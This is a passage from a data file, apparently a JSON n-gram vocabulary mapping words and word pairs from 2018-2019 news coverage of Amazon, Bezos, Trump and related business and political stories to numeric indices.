190617, "subjects function": 190618, "company isn": 190619, "super star": 190620, "coast los": 190621, "insider belastingaangifte": 190622, "anonymous sources": 190623, "tough coverage": 190624, "immediate future": 190625, "international cybersecurity": 190626, "disruptive practices": 190627, "treatment": 190628, "railways bridges": 190629, "business videocmsurl": 190630, "video just": 190631, "highly unlikely": 190632, "chastain": 190633, "stars kim": 190634, "267 shares": 190635, "longtime workers": 190636, "trading amazon": 190637, "real thing": 190638, "usps implement": 190639, "video doorbell": 190640, "journalist lessons": 190641, "statement accompanying": 190642, "news ctr": 190643, "foxconn actually": 190644, "general donovan": 190645, "net product": 190646, "appeals pen": 190647, "hewas": 190648, "stagnating user": 190649, "gcc eliminator": 190650, "driver says": 190651, "jack graham": 190652, "permanent ongoing": 190653, "pointe": 190654, "launching cable": 190655, "hubbard hater": 190656, "voiced opposition": 190657, "survey alessandra": 190658, "823": 190659, "money outside": 190660, "tweets unfold": 190661, "australia central": 190662, "buzzfeed apologized": 190663, "hate markets": 190664, "buccaneer": 190665, "affordability program": 190666, "electronic products": 190667, "cheers": 190668, "surging demand": 190669, "zhang": 190670, "union organization": 190671, "kee khoon": 190672, "service strategies": 190673, "paperwork required": 190674, "public authorities": 190675, "msnbc joe": 190676, "create block": 190677, "strange thing": 190678, "gentrifying based": 190679, "shape ge": 190680, "cases justices": 190681, "theme": 190682, "program helps": 190683, "mccabedescribes": 190684, "previous presidents": 190685, "queen fought": 190686, "spellman": 190687, "readers clearly": 190688, "ra sa": 190689, "encampment": 190690, "paul steidler": 190691, "fighters 2nd": 190692, "fiscal oomph": 190693, "bombastic": 190694, "beating did": 190695, "perceived chaos": 190696, "gop support": 190697, "lit paths": 190698, "fost georgefoster72": 190699, "k6": 190700, "pedestrian": 190701, "surpassing": 190702, "baptized bezos": 190703, "menchaca city": 190704, "entire new": 190705, "external": 190706, "woodward description": 190707, "home improvement": 190708, "page recalled": 190709, "whipple": 190710, "wegmann don": 190711, "extra large": 190712, "files recordings": 190713, "housing payments": 190714, "homes bills": 190715, "brian dillon": 190716, "political fundraising": 190717, "thread error": 190718, "great political": 190719, "tabloid adding": 190720, "expected changes": 190721, "good candidates": 190722, "slurs": 190723, "cowboys owner": 190724, "increasing prescription": 190725, "anticipated": 190726, "star idina": 190727, "trust case": 190728, "818": 190729, "reports lemoyne": 190730, "enable jedi": 190731, "overhaul signed": 190732, "timeframe senator": 190733, "faa issued": 190734, "frequently gone": 190735, "policy preferences": 190736, "actress melissa": 190737, "production facility": 190738, "movement demands": 190739, "empowering women": 190740, "business headlineplaintext": 190741, "fund opz": 190742, "military pensions": 190743, "stock investing": 190744, "treatment choices": 190745, "nonfiction continually": 190746, "read jeffbezoswatch": 190747, "rectitude": 190748, "pioneering new": 190749, "imagined world": 190750, "interviewing": 190751, "sympathies lie": 190752, "revitalize american": 190753, "penny abernathy": 190754, "users couldn": 190755, "320": 190756, "things worth": 190757, "amid continuing": 190758, "trump distinctive": 190759, "fear khashoggi": 190760, "voting rights": 190761, "lecturing": 190762, "flight included": 190763, "710 billion": 190764, "letter signed": 190765, "amazon\u00e2": 190766, "area virginia": 190767, "savage interview": 190768, "eliminating collective": 190769, "global corporations": 190770, "critical conversation": 190771, "personally hope": 190772, "short story": 190773, "england team": 190774, "downtown quick": 190775, "apology": 190776, "conclusion": 190777, "antitrust challenges": 190778, "tribe subsequent": 190779, "display ads": 190780, "intrusive government": 190781, "chief lobbyist": 190782, "covered string": 190783, "aaa": 190784, "immediate attention": 190785, "giant employees": 190786, "cohn praises": 190787, "add muscle": 190788, "verge reported": 190789, "amazon forest": 190790, "repair puerto": 190791, "public hearings": 190792, "time ferdinando": 190793, "agriculture ministry": 190794, "nationalist symbol": 190795, "aerial film": 190796, "today revived": 190797, "new heights": 190798, "close image": 190799, "brought callista": 190800, "heartbreaking evidence": 190801, "shares message": 190802, "condemned socialism": 190803, "criminally conspired": 190804, "just labeled": 190805, "heated criticism": 190806, "staff boxed": 190807, "aerospace regulations": 190808, "efficient boeing": 190809, "manage risk": 190810, "wing set": 190811, "trump bashers": 190812, "decoded": 190813, "carberry": 190814, "whodunit procedural": 190815, "news stories": 190816, "list feel": 190817, "anemic sales": 190818, "large railroads": 190819, "455": 190820, "apple stock": 190821, "news briefing": 190822, "presidential alert": 190823, "predictable": 190824, "mushroom headed": 190825, "leadership proven": 190826, "videndslate": 190827, "enquirer actions": 190828, "garcia": 190829, "restrictive statutes": 190830, "aug": 190831, "stevenoverly john": 190832, "early 1990s": 190833, "satellite campus": 190834, "doj make": 190835, "ranking member": 190836, "google processes": 190837, "try little": 190838, "amazon decreased": 190839, "term costs": 190840, "toppled": 190841, "spicer story": 190842, "investing world": 190843, "department adviser": 190844, "investigation ultimately": 190845, "mccabeis": 190846, "hitler heil": 190847, "powerful american": 190848, "maclear": 190849, "user wrote": 190850, "opening monologue": 190851, "pay sanders": 190852, "caravan new": 190853, "boost fro": 190854, "results nancy": 190855, "tax liability": 190856, "paying journalists": 190857, "128": 190858, "looms mccabe": 190859, "bombshell clue": 190860, "4k shows": 190861, "source itep": 190862, "chopra nick": 190863, "korte": 190864, "certain package": 190865, "arabia despite": 190866, "joined apple": 190867, "yard deputy": 190868, "398 001": 190869, "worst supervisor": 190870, "bezos involved": 190871, "flank celebrates": 190872, "repeal tax": 190873, "website sharing": 190874, "mackenzie announced": 190875, "talks generate": 190876, "names straight": 190877, "conservative high": 190878, "right yeah": 190879, "anti trade": 190880, "hansen saw": 190881, "500 americans": 190882, "scared 8211": 190883, "make housing": 190884, "normal": 190885, "engulfs": 190886, "current occupant": 190887, "recent news": 190888, "trumps assertion": 190889, "shadow banned": 190890, "sam spence": 190891, "commission advanced": 190892, "tobrien46 bloomberg": 190893, "democrats politically": 190894, "solves": 190895, "dis volitile": 190896, "far customers": 190897, "briefs alibaba": 190898, "trumps tax": 190899, "premarket trading": 190900, "harvard welp": 190901, "major breach": 190902, "account spokesperson": 190903, "dick novel": 190904, "indiatimes": 190905, "apple aapl": 190906, "groups representing": 190907, "thesis": 190908, "unpresidented features": 190909, "2020 click": 190910, "oil magnate": 190911, "term survival": 190912, "rathner yes": 190913, "nathan bomey": 190914, "comcast nbcuniversal": 190915, "public square": 190916, "worst traits": 190917, "enquirer reports": 190918, "expected wage": 190919, "advanced": 190920, "excuses": 190921, "shanay": 190922, "boston beer": 190923, "playoff": 190924, "constantly refers": 190925, "bombshell interview": 190926, "fate": 190927, "2019 just": 190928, "mv": 190929, "jeff mason": 190930, "becker supported": 190931, "position gawande": 190932, "declared 2020": 190933, "pastoral": 190934, "instagram stories": 190935, "describes bezos": 190936, "tweet impact": 190937, "makan": 190938, "tensor": 190939, "vehicle fleet": 190940, "appliances tools": 190941, "foolhardy gloating": 190942, "largest companies": 190943, "global killing": 190944, "606": 190945, "letters trump": 190946, "joe namath": 190947, "possibility think": 190948, "talton credit": 190949, "house triggered": 190950, "1542 img_w": 190951, "reach washington": 190952, "obama thanksgiving": 190953, "impenetrable": 190954, "arrives": 190955, "credit file": 190956, "economy dragged": 190957, "sale does": 190958, "witted": 190959, "pirates films": 190960, "politicians thirty": 190961, "sending trump": 190962, "trumps ethanol": 190963, "coalition building": 190964, "conservative criticisms": 190965, "held following": 190966, "policy antony": 190967, "567 million": 190968, "charlie nash": 190969, "vestager president": 190970, "sharp differences": 190971, "usds defense": 190972, "takes power": 190973, "new headquarter": 190974, "reverend": 190975, "nyc economic": 190976, "sopranos": 190977, "trump occasionally": 190978, "tense time": 190979, "mate david": 190980, "pete dagen": 190981, "followed bellow": 190982, "rigged major": 190983, "pillpack sends": 190984, "equal access": 190985, "null img_panoramicref": 190986, "increase investments": 190987, "liptak kevinliptakcnn": 190988, "tariffs forcing": 190989, "abduction rape": 190990, "pressure new": 190991, "results loading": 190992, "commemorative trump": 190993, "decision amazon": 190994, "caijing report": 190995, "apple amazon": 190996, "politicians activist": 190997, "geddes visiting": 190998, "troubled business": 190999, "appear divided": 191000, "senior trump": 191001, "media contenttype": 191002, "cuomo democratic": 191003, "younger millennials": 191004, "eath": 191005, "market action": 191006, "companies react": 191007, "threaten amazon": 191008, "leveraging lot": 191009, "title sell": 191010, "unfair treatment": 191011, "make choice": 191012, "policies interestingly": 191013, "surely harris": 191014, "abramson author": 191015, "charge bezos": 191016, "forecasts surprise": 191017, "materials completed": 191018, "years daniel": 191019, "lending investment": 191020, "chicago seeking": 191021, "achieve better": 191022, "amazon lets": 191023, "don underestimate": 191024, "policing programs": 191025, "title snl": 191026, "osofsky longtime": 191027, "backstabbing": 191028, "firm fareye": 191029, "cast suspicion": 191030, "compressing": 191031, "projectsa": 191032, "clubs daniels": 191033, "run think": 191034, "makes surprisingly": 191035, "higher education": 191036, "everyday forms": 191037, "walmart": 191038, "yielding savings": 191039, "ressa": 191040, "traveler iq": 191041, "planned despite": 191042, "sports activities": 191043, "organization handling": 191044, "server719394": 191045, "safeguards": 191046, "ldavison4 bloomberg": 191047, "novice": 191048, "subways espinal": 191049, "parent walt": 191050, "mortgages product": 191051, "apparently el": 191052, "emphasized": 191053, "additional growth": 191054, "dared": 191055, "create task": 191056, "promotes teenage": 191057, "loup ventures": 191058, "feathered": 191059, "martyr": 191060, "wsj mike": 191061, "tool used": 191062, "book michael": 191063, "beautiful new": 191064, "corner store": 191065, "cramped": 191066, "\u0430reaching": 191067, "radicalised": 191068, "asked trump": 191069, "retire multimillionaire": 191070, "bolton remarks": 191071, "focused internet": 191072, "uniquely wary": 191073, "embassy trump": 191074, "contain nitrous": 191075, "pretty difficult": 191076, "dominates reporter": 191077, "26t01": 191078, "cnn reportedly": 191079, "outlaw": 191080, "14pm west": 191081, "jeered": 191082, "biggest publishing": 191083, "audacious": 191084, "checkup tests": 191085, "sanctity": 191086, "lennox": 191087, "101 obscenely": 191088, "board amazon": 191089, "items pending": 191090, "riverhead": 191091, "report explaining": 191092, "aboutpeople": 191093, "smb": 191094, "humor following": 191095, "leadership really": 191096, "news higher": 191097, "outdoors": 191098, "america cuts": 191099, "sanchez publicly": 191100, "impulse buy": 191101, "york playbook": 191102, "debate calling": 191103, "says disagree": 191104, "investors persuaded": 191105, "mcdowell mean": 191106, "absorbing pretty": 191107, "encountered range": 191108, "packages task": 191109, "families podcast": 191110, "inside fb": 191111, "california woman": 191112, "strong consumer": 191113, "weve": 191114, "choose candidate": 191115, "physical version": 191116, "worse 2018": 191117, "friendly alexa": 191118, "likeable characters": 191119, "succumbed": 191120, "industry cost": 191121, "trade decision": 191122, "video offering": 191123, "belcher tom": 191124, "farcical alternative": 191125, "difficult issues": 191126, "150 ballots": 191127, "accusing facebook": 191128, "buoy": 191129, "companies weighed": 191130, "controversial corruption": 191131, "schmidt lewiston": 191132, "freedom paid": 191133, "amazon raised": 191134, "party merchants": 191135, "complete list": 191136, "round doesn": 191137, "undefined history": 191138, "positive developments": 191139, "time coming": 191140, "railroad analogy": 191141, "2f1999": 191142, "majority minority": 191143, "investors alcoa": 191144, "package thefts": 191145, "include books": 191146, "000": 191147, "adjusted 2019": 191148, "continued blockbuster": 191149, "hit u003ca": 191150, "wouldgenerate": 191151, "remarks reportedly": 191152, "sheivachman": 191153, "higher watch": 191154, "good right": 191155, "councilman ritchie": 191156, "politician beg": 191157, "grabbers": 191158, "linked figures": 191159, "pacvue": 191160, "hill pushing": 191161, "amazon choices": 191162, "100 homes": 191163, "vegan sandwiches": 191164, "media research": 191165, "david rubenstein": 191166, "listthe travel": 191167, "new residence": 191168, "control computers": 191169, "disastrous leadership": 191170, "memorandum president": 191171, "tv movies": 191172, "striking ability": 191173, "require fewer": 191174, "based innovation": 191175, "quarter wall": 191176, "atsg": 191177, "zing er": 191178, "founder led": 191179, "oxy": 191180, "varex": 191181, "aerial": 191182, "segregation": 191183, "surprising warning": 191184, "moab": 191185, "placed tremendous": 191186, "regulatory bullets": 191187, "actor morgan": 191188, "earnings reactions": 191189, "expand globally": 191190, "deal dies": 191191, "manipulated": 191192, "output measure": 191193, "political economy": 191194, "b07f7svpw4": 191195, "economic trends": 191196, "report alabama": 191197, "iannucci blazingly": 191198, "srch including": 191199, "relatively conservative": 191200, "compel online": 191201, "socialist job": 191202, "scheduled number": 191203, "probably looking": 191204, "market businesses": 191205, "useem": 191206, "colorways": 191207, "restuccia": 191208, "allies rode": 191209, "welcomes": 191210, "business occur": 191211, "combined controls": 191212, "help daniel": 191213, "123s tracker": 191214, "highly polarized": 191215, "moreconservative": 191216, "photograph michael": 191217, "sum max": 191218, "willrayner__": 191219, "galore thanks": 191220, "inflation pressures": 191221, "lynwood extension": 191222, "fernholz added": 191223, "executive randall": 191224, "package ordered": 191225, "zaccara adding": 191226, "gov ralph": 191227, "arbitrary hurdles": 191228, "services revenue": 191229, "2019 fox": 191230, "freud nudes": 191231, "feature selected": 191232, "163 billion": 191233, "ago broward": 191234, "says higher": 191235, "trump fascist": 191236, "social justice": 191237, "toll evaders": 191238, "conference facebook": 191239, "met kavanaugh": 191240, "does work": 191241, "ami action": 191242, "investigating payments": 191243, "countries trump": 191244, "sanders posting": 191245, "trump firing": 191246, "update segment": 191247, "0712et copyright": 191248, "buildings including": 191249, "associate manager": 191250, "absolutely kaitlan": 191251, "public policy": 191252, "000th place": 191253, "pbs read": 191254, "society wide": 191255, "merchandise direct": 191256, "ignore given": 191257, "insightful editorials": 191258, "2017 mailing": 191259, "mangoes": 191260, "venezuela oil": 191261, "whatsapp trending": 191262, "tech john": 191263, "following rise": 191264, "cranbrook": 191265, "feet tall": 191266, "eating burrito": 191267, "kaepernick": 191268, "crc turned": 191269, "hense european": 191270, "stomped": 191271, "videotape seema": 191272, "announces divorce": 191273, "today briefing": 191274, "foundation new": 191275, "depth cross": 191276, "lost tax": 191277, "increasingly sloppy": 191278, "600 according": 191279, "possibly life": 191280, "puzzled": 191281, "emmert": 191282, "similar pricing": 191283, "having heart": 191284, "amid broad": 191285, "wasteful corporate": 191286, "wqiguvz0pa josh": 191287, "thepresidency": 191288, "cortez kills": 191289, "z4 m4": 191290, "vacation": 191291, "warner va": 191292, "vendors inserted": 191293, "exponential growth": 191294, "route delivering": 191295, "sells ads": 191296, "000 erp": 191297, "point man": 191298, "trump finally": 191299, "9653": 191300, "posters": 191301, "islamic": 191302, "banks leverage": 191303, "sears kohls": 191304, "booming business": 191305, "excluding amazon": 191306, "cnbc analysts": 191307, "executive level": 191308, "residents remain": 191309, "waterfront esplanade": 191310, "teeth gives": 191311, "high costs": 191312, "gun signs": 191313, "seacrest productions": 191314, "liberal hollywood": 191315, "skilled comedian": 191316, "cooking shows": 191317, "new keyboard": 191318, "studios congress": 191319, "zionist rocker": 191320, "compliant amazon": 191321, "security brad": 191322, "leaders according": 191323, "news sketch": 191324, "new jersey": 191325, "road damage": 191326, "global players": 191327, "guitar": 191328, "marijuana suffolk": 191329, "false chartstyletoggle": 191330, "cloud structure": 191331, "weathered direct": 191332, "routinely criticized": 191333, "tried repeatedly": 191334, "secret asian": 191335, "agreement assuming": 191336, "semi fictional": 191337, "new tensor": 191338, "shelves stocked": 191339, "fueling loss": 191340, "amazon gives": 191341, "challenge akin": 191342, "assessing likelihood": 191343, "state today": 191344, "fall pay": 191345, "commonwealth": 191346, "active reviewers": 191347, "blown": 191348, "coffee advertisements": 191349, "town tale": 191350, "finite lives": 191351, "crains": 191352, "evening shade": 191353, "unverified": 191354, "bylines": 191355, "disinformation teams": 191356, "department little": 191357, "2014 cit": 191358, "40s": 191359, "sent 380": 191360, "officials offers": 191361, "sectors just": 191362, "journalism category": 191363, "var n2x": 191364, "uphill climb": 191365, "enquirer defended": 191366, "saw revenue": 191367, "asians posted": 191368, "edward ruggiero": 191369, "married man": 191370, "penis pic": 191371, "changed course": 191372, "free units": 191373, "include health": 191374, "written new": 191375, "recent correspondence": 191376, "candice choi": 191377, "love affair": 191378, "raise questions": 191379, "www2 philly": 191380, "2017 holiday": 191381, "prize winner": 191382, "emerging technology": 191383, "000 checks": 191384, "cheery toronto": 191385, "labor negotiations": 191386, "old walls": 191387, "gop economic": 191388, "total breakup": 191389, "meetings complain": 191390, "incoming house": 191391, "aggregated instruments": 191392, "populated residential": 191393, "touching record": 191394, "new republican": 191395, "fair peter": 191396, "2017 2018": 191397, "cuomo showed": 191398, "spouse": 191399, "improvement assistance": 191400, "job ubhi": 191401, "packages politico": 191402, "hands meeting": 191403, "960": 191404, "intimate details": 191405, "different amazon": 191406, "mega retailers": 191407, "services helped": 191408, "indigenous groups": 191409, "leaders trump": 191410, "dickerson republican": 191411, "nearly decade": 191412, "different locations": 191413, "inner pot": 191414, "roads knocked": 191415, "pete wells": 191416, "poster used": 191417, "depressed cybersecurity": 191418, "employment shortages": 191419, "mean normally": 191420, "div share": 191421, "billionaire extramarital": 191422, "grand": 191423, "today abc": 191424, "gloria": 191425, "page abramowitz": 191426, "steady drumbeat": 191427, "youth": 191428, "breathing": 191429, "caregiver": 191430, "comments provide": 191431, "financially afloat": 191432, "constructor a4ee": 191433, "___ airlines": 191434, "annual academy": 191435, "community tried": 191436, "rising feed": 191437, "publisher stocking": 191438, "playlists": 191439, "compulsively": 191440, "company broader": 191441, "hetu": 191442, "launching presidential": 191443, "carr chronicles": 191444, "giovanni": 191445, "taxpayers wisconsin": 191446, "man dressed": 191447, "primarychallenger": 191448, "fcau": 191449, "motive noting": 191450, "redirect false": 191451, "divorce hours": 191452, "additionally making": 191453, "count ceo": 191454, "direct action": 191455, "existing players": 191456, "support various": 191457, "person ansolabehere": 191458, "difficult journeys": 191459, "singer kelly": 191460, "alcoa ceo": 191461, "biggest market": 191462, "679 630": 191463, "giving billion": 191464, "62ee8090a867 djax_mobileadserver": 191465, "growing companies": 191466, "says erections": 191467, "epa staff": 191468, "really threatening": 191469, "unsurprisingly lawyer": 191470, "hldgs": 191471, "avoid minimize": 191472, "bloated": 191473, "model registry": 191474, "saucy text": 191475, "fidelity sound": 191476, "movie director": 191477, "year program": 191478, "committee andrew": 191479, "taken direct": 191480, "successful heads": 191481, "cnn andrew": 191482, "billion past": 191483, "165 951": 191484, "causing huge": 191485, "admits saying": 191486, "1542171601": 191487, "freshman representative": 191488, "people maybe": 191489, "month corporations": 191490, "clip griffeth": 191491, "discounting amazon": 191492, "bought advertising": 191493, "marijuana legalization": 191494, "sturdy plastic": 191495, "deliveries just": 191496, "eisenhower": 191497, "great cities": 191498, "states amazon": 191499, "base pay": 191500, "manufacturer": 191501, "florence survivors": 191502, "significant businesses": 191503, "receive update": 191504, "destructively unfair": 191505, "enquirer jerry": 191506, "bowmer": 191507, "funds sign": 191508, "walmart partners": 191509, "study huseman": 191510, "citizens immigration": 191511, "people overall": 191512, "faux": 191513, "ross commerce": 191514, "enquirer salacious": 191515, "matthews host": 191516, "journalist": 191517, "finalize": 191518, "concerning north": 191519, "time brian": 191520, "flexible work": 191521, "shouts ideas": 191522, "employers sell": 191523, "bishop geekwire": 191524, "reluctant": 191525, "fear kept": 191526, "cadaver dog": 191527, "senator maria": 191528, "amazon proposal": 191529, "envisioning": 191530, "logistician": 191531, "tourist destinations": 191532, "firm canaccord": 191533, "survive sanders": 191534, "sprees": 191535, "sellers rely": 191536, "postal issues": 191537, "implementing legislation": 191538, "cbs virigina": 191539, "compiled amazon": 191540, "cazzioii": 191541, "way past": 191542, "shootings longtime": 191543, "years reporting": 191544, "litigate big": 191545, "best cantonese": 191546, "gov contracts": 191547, "scandal especially": 191548, "filled wedding": 191549, "usps did": 191550, "h6a apply": 191551, "contacted schwietzer": 191552, "president randy": 191553, "cdt": 191554, "google services": 191555, "interconnection hub": 191556, "term problems": 191557, "track setting": 191558, "incentives governments": 191559, "stage performers": 191560, "upscale": 191561, "instant legal": 191562, "unfairly hurting": 191563, "kddi corp": 191564, "chrysler": 191565, "announce record": 191566, "asset conversion": 191567, "wouldn believe": 191568, "say stop": 191569, "glutamate potent": 191570, "institute khan": 191571, "wife beth": 191572, "recently joined": 191573, "labour practice": 191574, "convenience say": 191575, "lobbyist related": 191576, "gunned": 191577, "investor view": 191578, "spurious cancer": 191579, "current framework": 191580, "create internal": 191581, "app revenue": 191582, "ben protess": 191583, "successfully poisoned": 191584, "binyamin": 191585, "grocery pickup": 191586, "democracy joe": 191587, "michael rosenwald": 191588, "world look": 191589, "ometimes": 191590, "bad books": 191591, "year commerce": 191592, "conservative speech": 191593, "threshold trump": 191594, "materials equipment": 191595, "gap debate": 191596, "bad guys": 191597, "taliban": 191598, "trump pals": 191599, "income communities": 191600, "catch protestors": 191601, "doj probe": 191602, "cnn ty": 191603, "government giveaway": 191604, "officers harassing": 191605, "246": 191606, "memphis max": 191607, "private investors": 191608, "discover numbers": 191609, "place political": 191610, "storm caused": 191611, "public attacks": 191612, "pecker statement": 191613, "bezos keeps": 191614, "sensitive military": 191615, "expected range": 191616, "commissioner roger": 191617, "hill including": 191618, "true vulnerabilities": 191619, "sears case": 191620, "inc_feature_image_override_position": 191621, "controversial comments": 191622, "trump economic": 191623, "hsi mission": 191624, "direct criticism": 191625, "glenn kelman": 191626, "messages read": 191627, "weaponizing journalistic": 191628, "story shira": 191629, "clinton impeachment": 191630, "ethics experts": 191631, "blofeldian": 191632, "economy wonk": 191633, "mccabe confirms": 191634, "000 looking": 191635, "reportedly secured": 191636, "trademark soup": 191637, "nicholas sparks": 191638, "yes expanding": 191639, "trucking contractor": 191640, "emily knows": 191641, "income spokesperson": 191642, "brookline": 191643, "underground pedophile": 191644, "pocket calculator": 191645, "financial management": 191646, "soles": 191647, "melanija knavs": 191648, "hhost": 191649, "deal size": 191650, "sustainable way": 191651, "juan williams": 191652, "family business": 191653, "kinja deals": 191654, "export rules": 191655, "mcgregor makes": 191656, "geist asked": 191657, "usps climb": 191658, "facebook cambridge": 191659, "corporations characterize": 191660, "jimmy van": 191661, "attempt blackmail": 191662, "virginia fake": 191663, "nyse blk": 191664, "chasing hope": 191665, "convoy": 191666, "page greatawakening": 191667, "melanija": 191668, "rung asking": 191669, "228515": 191670, "martin press": 191671, "causes including": 191672, "enabling victims": 191673, "environmental deregulation": 191674, "foods path": 191675, "act impacted": 191676, "beijing tariff": 191677, "common threads": 191678, "pakistani": 191679, "ish contest": 191680, "heightened trade": 191681, "code 202": 191682, "manager bernstein": 191683, "newsflash andy": 191684, "media biz": 191685, "trump multiple": 191686, "nearly year": 191687, "matthew shay": 191688, "alt": 191689, "va teachers": 191690, "size saying": 191691, "finance site": 191692, "amazon threatened": 191693, "battlefield advantage": 191694, "implying": 191695, "stock jumps": 191696, "post criticizing": 191697, "needs strategy": 191698, "deliveries according": 191699, "multinational tech": 191700, "bauer penguin": 191701, "scott walmart": 191702, "trump usps": 191703, "toad reference": 191704, "prince charles": 191705, "sparked bout": 191706, "fulfillment transportation": 191707, "heated atmosphere": 191708, "map shows": 191709, "witches indicted": 191710, "lauren victoria": 191711, "gizmodo positioning": 191712, "new ability": 191713, "forms amazon": 191714, "musical sponsored": 191715, "amazon liable": 191716, "officials argued": 191717, "transportation walk": 191718, "judd legum": 191719, "interior secretary": 191720, "spots read": 191721, "encouraging dozens": 191722, "wow pic": 191723, "storefront fox": 191724, "activites": 191725, "counterintelligence case": 191726, "sen brian": 191727, "hap": 191728, "montana leads": 191729, "widespread opposition": 191730, "carnival cruise": 191731, "rattle investors": 191732, "epiphany": 191733, "institute talks": 191734, "cashless": 191735, "langella judy": 191736, "earning record": 191737, "political connections": 191738, "hope amazon": 191739, "math spells": 191740, "promises": 191741, "medina washington": 191742, "hugo ch\u00e1vez": 191743, "ultra elite": 191744, "force conduct": 191745, "municipalities paid": 191746, "exactly depose": 191747, "gillespie cleveland": 191748, "great colorways": 191749, "policy decisions": 191750, "card debt": 191751, "career program": 191752, "dods cloud": 191753, "odds heavily": 191754, "pass resolution": 191755, "nytimes wsjournal": 191756, "inventory launched": 191757, "entitled brother": 191758, "little obvious": 191759, "2019 tariffs": 191760, "death penalty": 191761, "cheddar walmart": 191762, "mexican officials": 191763, "198": 191764, "lehrer looks": 191765, "net benefit": 191766, "accused sanders": 191767, "gorgeous mosaic": 191768, "execution lasted": 191769, "big users": 191770, "897": 191771, "carousel domain": 191772, "nut job": 191773, "postal issue": 191774, "parcel carrier": 191775, "policies ultimately": 191776, "deluxe edition": 191777, "discounted parcel": 191778, "recessionary periods": 191779, "begun working": 191780, "vanderbilt slugger": 191781, "revealed conversation": 191782, "mark levin": 191783, "sharebar": 191784, "throw new": 191785, "households check": 191786, "civil government": 191787, "amazon ecommerce": 191788, "just hand": 191789, "insinuated trump": 191790, "investment 2018": 191791, "kim kardashian": 191792, "requested review": 191793, "khan amazon": 191794, "bury karen": 191795, "contained photographs": 191796, "divorcing according": 191797, "prices based": 191798, "technology amazon": 191799, "picking robot": 191800, "compassion": 191801, "washington heir": 191802, "businessinsider": 191803, "democrat victory": 191804, "service click": 191805, "safe method": 191806, "lauren love": 191807, "fiscal watchdogs": 191808, "google": 191809, "president broward": 191810, "googl googl": 191811, "1996 johnson": 191812, "compiled": 191813, "consensual": 191814, "aggressive deal": 191815, "basic liberties": 191816, "compiled list": 191817, "denning": 191818, "subsidies carlson": 191819, "reach europe": 191820, "mind pas": 191821, "symptom": 191822, "state budget": 191823, "ken griffin": 191824, "ashford": 191825, "figure excludes": 191826, "merely days": 191827, "acquire heptio": 191828, "buyback test": 191829, "school tasks": 191830, "statement concluded": 191831, "candidate donald": 191832, "mirza": 191833, "opposing amazon": 191834, "leonard": 191835, "valley style": 191836, "drugs senate": 191837, "brutal killings": 191838, "turn suggests": 191839, "bayside announced": 191840, "150bn": 191841, "lightweight phones": 191842, "transform": 191843, "ellin": 191844, "device": 191845, "shooting guard": 191846, "yorker entitled": 191847, "ground ibama": 191848, "antipathy": 191849, "exceeded everybody": 191850, "started charging": 191851, "community despite": 191852, "507 500": 191853, "politicians series": 191854, "frozen river": 191855, "office think": 191856, "providing infrastructure": 191857, "usernames": 191858, "768bn": 191859, "stamp": 191860, "pay people": 191861, "cavalry": 191862, "including 600": 191863, "work cooperatively": 191864, "york area": 191865, "online traditional": 191866, "books million": 191867, "legislative fixes": 191868, "soviet": 191869, "order right": 191870, "200 jobs": 191871, "quinn": 191872, "laced": 191873, "worked closely": 191874, "182": 191875, "businesses services": 191876, "picker": 191877, "sensational tabloid": 191878, "state consider": 191879, "alleged opposition": 191880, "amazon copies": 191881, "huge hardships": 191882, "court filing": 191883, "works projects": 191884, "funny jeremy": 191885, "wacky omarosa": 191886, "treaty reuters": 191887, "consumers ny": 191888, "metric": 191889, "editorial cartoons": 191890, "noncooperation agreement": 191891, "prominent displayed": 191892, "narwhal": 191893, "ambassador": 191894, "guests karen": 191895, "ultimate test": 191896, "analysts estimates": 191897, "amend": 191898, "defray significant": 191899, "rival offer": 191900, "outside city": 191901, "life goal": 191902, "talks regret": 191903, "home cooking": 191904, "wmt surged": 191905, "specific industry": 191906, "nasty things": 191907, "familytravel carnival": 191908, "emoji entitled": 191909, "shape": 191910, "phoney": 191911, "cudjo lewis": 191912, "complaints caused": 191913, "having electronic": 191914, "brussels playbook": 191915, "additional 100": 191916, "officials defended": 191917, "mingled": 191918, "mistaken according": 191919, "000 additional": 191920, "norwegian cruise": 191921, "bold policy": 191922, "raisedthe": 191923, "loopholes": 191924, "specialist mental": 191925, "seen growing": 191926, "quarterback": 191927, "ck pick": 191928, "ruralists": 191929, "smash hit": 191930, "firm founder": 191931, "leave mean": 191932, "2010 trump": 191933, "photographer don": 191934, "basanta adam": 191935, "chelsea wolfe": 191936, "protector": 191937, "putative": 191938, "1990s bezos": 191939, "main seattle": 191940, "verge wrote": 191941, "prejudices": 191942, "ami soon": 191943, "individual fortune": 191944, "regularly written": 191945, "trump decade": 191946, "region trump": 191947, "putting hq2": 191948, "aaron toso": 191949, "sparkle pic": 191950, "reported pressure": 191951, "rally letter": 191952, "socialist bernie": 191953, "runtime": 191954, "seth king": 191955, "publications afp": 191956, "business cnbc": 191957, "raccoon": 191958, "stated goal": 191959, "money news": 191960, "welch probably": 191961, "continue highlighting": 191962, "post reported": 191963, "regulatory meltdown": 191964, "jace crouch": 191965, "macro economic": 191966, "ross best": 191967, "contract negotiations": 191968, "rolling papers": 191969, "2017 far": 191970, "candid unafraid": 191971, "proper behavior": 191972, "positioning does": 191973, "lisa page": 191974, "amazon previously": 191975, "released recommendations": 191976, "big setback": 191977, "nigeria frustrated": 191978, "measures california": 191979, "special ness": 191980, "daily inventories": 191981, "criticism factored": 191982, "year ceo": 191983, "wage subsidy": 191984, "triumphant return": 191985, "simply wanted": 191986, "haute": 191987, "price sale": 191988, "growing pains": 191989, "tempore": 191990, "report texas": 191991, "set fiscal": 191992, "gotten lot": 191993, "article michelle": 191994, "tell maybe": 191995, "mars rover": 191996, "rates competitors": 191997, "release online": 191998, "good bit": 191999, "shift going": 192000, "aws govcloud": 192001, "fight colon": 192002, "begnaud": 192003, "minister 2019": 192004, "cerrado biome": 192005, "publicly lambasted": 192006, "filling positions": 192007, "electric monopoly": 192008, "mexico drugs": 192009, "target amazon": 192010, "mandy hall": 192011, "order 2018": 192012, "denied higher": 192013, "general alleges": 192014, "regularly ranks": 192015, "student": 192016, "refugees international": 192017, "obama candidacy": 192018, "reports saw": 192019, "princeton review": 192020, "announced earlier": 192021, "shelter searching": 192022, "img_usrid img_pan_crop": 192023, "saudis just": 192024, "thinks criticism": 192025, "metoo claims": 192026, "featuring rowling": 192027, "cannabis industry": 192028, "549 shares": 192029, "know greer": 192030, "abnormally fast": 192031, "release explicit": 192032, "promises including": 192033, "hitler": 192034, "market stores": 192035, "amazon renovation": 192036, "software developer": 192037, "low costs": 192038, "innovative companies": 192039, "disappointed tide": 192040, "romanoffs available": 192041, "107k6": 192042, "discount according": 192043, "gidley": 192044, "officials familiar": 192045, "classic hallmarks": 192046, 